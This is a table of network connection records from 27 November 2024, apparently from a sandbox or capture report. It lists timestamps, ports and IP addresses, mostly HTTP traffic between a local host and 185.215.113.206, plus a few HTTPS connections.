Nov 27, 2024 16:34:51.436500072 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.436542988 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.436558962 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.436677933 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.437457085 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.437532902 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.437613964 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.437613964 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.438246012 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.438452959 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.438477993 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.438494921 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.439152956 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.439223051 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.439451933 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.439646959 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.440062046 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.440187931 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.440229893 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.440315962 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.440975904 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.441068888 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.441143036 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.441860914 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.441962957 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.441984892 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.442106962 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.442939043 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.443012953 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.443331957 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.443388939 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.443792105 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.443878889 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.444016933 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.444555044 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.444616079 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.444791079 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.444891930 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.445488930 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.445565939 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.445600986 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.445677042 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.446403980 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.446459055 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.446492910 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.446635008 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.447345972 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.447464943 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.447526932 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.447526932 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.448304892 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.448390961 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.448544025 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.448765993 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.449096918 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.449181080 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.449189901 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.449264050 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.450052023 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.450100899 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.450133085 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.450184107 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.450942993 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.451050997 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.451100111 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.451232910 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.451332092 CET	443	49854	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.451821089 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.451877117 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.451991081 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.452195883 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.452718019 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.452791929 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.452801943 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.453027010 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.453625917 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.453682899 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.453830957 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.453912020 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.454374075 CET	443	49850	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.454559088 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.454637051 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.454736948 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.454982996 CET	49850	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.455009937 CET	443	49850	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.455092907 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.455408096 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.455521107 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.455529928 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.455642939 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.455701113 CET	443	49850	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.456330061 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.456403971 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.456451893 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.456474066 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.456566095 CET	49854	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.456590891 CET	443	49854	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.457231045 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.457366943 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.457451105 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.458105087 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.458138943 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.458195925 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.458195925 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.458554983 CET	49850	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.458684921 CET	443	49850	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.458755970 CET	49850	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.459057093 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.459244967 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.459336042 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.459393978 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.460112095 CET	443	49852	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.460189104 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.460258007 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.460355043 CET	49852	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.460377932 CET	443	49852	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.460411072 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.460798979 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.460925102 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.460985899 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.461112022 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.461520910 CET	443	49852	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.461586952 CET	49852	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.461718082 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.461956024 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.461961031 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.461968899 CET	49852	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.462013006 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.462058067 CET	443	49852	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.462249041 CET	49852	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.462260008 CET	443	49852	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.462759972 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.462829113 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.462919950 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.463109970 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.463732958 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.463890076 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.463943958 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.464016914 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.464351892 CET	443	49851	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.464620113 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.464698076 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.464736938 CET	49851	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.464762926 CET	443	49851	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.464951992 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.465373039 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.465473890 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.465578079 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.465578079 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.466048002 CET	443	49851	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.466119051 CET	49851	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.466353893 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.466422081 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.466445923 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.466459990 CET	49851	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.466497898 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.466553926 CET	443	49851	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.466590881 CET	49851	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.467196941 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.467272043 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.467278957 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.467344046 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.468091965 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.468157053 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.468187094 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.468230963 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.469142914 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.469266891 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.469364882 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.470138073 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.470226049 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.470235109 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.470340014 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.470860958 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.471088886 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.471178055 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.471767902 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.471832037 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.471916914 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.472150087 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.472647905 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.472738981 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.472749949 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.472831011 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.473491907 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.473591089 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.473609924 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.473898888 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.474602938 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.474714041 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.474736929 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.474782944 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.475346088 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.475441933 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.475470066 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.475644112 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.476181984 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.476413012 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.503326893 CET	443	49850	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.503415108 CET	49850	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.503421068 CET	49854	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.503421068 CET	49852	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.511333942 CET	443	49851	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.518770933 CET	49851	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.518799067 CET	443	49851	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.537054062 CET	443	49853	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.537375927 CET	49853	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.537395954 CET	443	49853	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.538479090 CET	443	49853	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.538563013 CET	49853	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.538986921 CET	49853	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.539058924 CET	443	49853	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.539181948 CET	49853	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.539190054 CET	443	49853	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.565350056 CET	49851	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.580385923 CET	49853	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.658345938 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.658432007 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.658458948 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.658698082 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.658771038 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.658791065 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.659346104 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.659624100 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.659782887 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.660036087 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.660517931 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.660645962 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.660675049 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.660764933 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.661762953 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.661858082 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.661906958 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.662205935 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.662486076 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.662506104 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.662554026 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.662584066 CET	49864	443	192.168.2.7	23.44.203.14
Nov 27, 2024 16:34:51.662626982 CET	443	49864	23.44.203.14	192.168.2.7
Nov 27, 2024 16:34:51.662766933 CET	49864	443	192.168.2.7	23.44.203.14
Nov 27, 2024 16:34:51.663014889 CET	49864	443	192.168.2.7	23.44.203.14
Nov 27, 2024 16:34:51.663026094 CET	443	49864	23.44.203.14	192.168.2.7
Nov 27, 2024 16:34:51.663218021 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.663268089 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.663328886 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.664112091 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.664268017 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.664377928 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.665045977 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.665148020 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.665191889 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.665358067 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.665945053 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.666088104 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.666106939 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.666250944 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.667046070 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.667139053 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.667191029 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.667191029 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.667754889 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.667864084 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.667953014 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.667994022 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.668663025 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.668755054 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.668807030 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.669630051 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.669718027 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.669758081 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.669830084 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.670435905 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.670516968 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.670665979 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.671349049 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.671406984 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.671442032 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.671710968 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.672243118 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.672327995 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.672372103 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.672435045 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.673253059 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.673378944 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.673434973 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.674252033 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.674315929 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.674319983 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.674377918 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.675015926 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.675085068 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.675149918 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.675149918 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.675857067 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.675956011 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.675960064 CET	443	49848	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:51.675987959 CET	443	49848	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:51.676008940 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.676026106 CET	443	49848	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:51.676063061 CET	49848	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:51.676081896 CET	443	49848	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:51.676095963 CET	49848	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:51.676136971 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.676853895 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.676932096 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.676980972 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.677405119 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.677638054 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.677701950 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.677757025 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.678072929 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.678575039 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.678714037 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.678795099 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.678911924 CET	49848	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:51.678926945 CET	443	49848	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:51.678936005 CET	49848	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:51.679075003 CET	443	49848	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:51.679105997 CET	443	49848	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:51.679162979 CET	49848	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:51.679526091 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.679570913 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.679636002 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.680198908 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.680381060 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.680433035 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.680480957 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.680555105 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.681333065 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.681451082 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.681504011 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.681518078 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.682231903 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.682418108 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.682423115 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.682558060 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.683083057 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.683203936 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.683268070 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.684031010 CET	80	49777	185.215.113.206	192.168.2.7
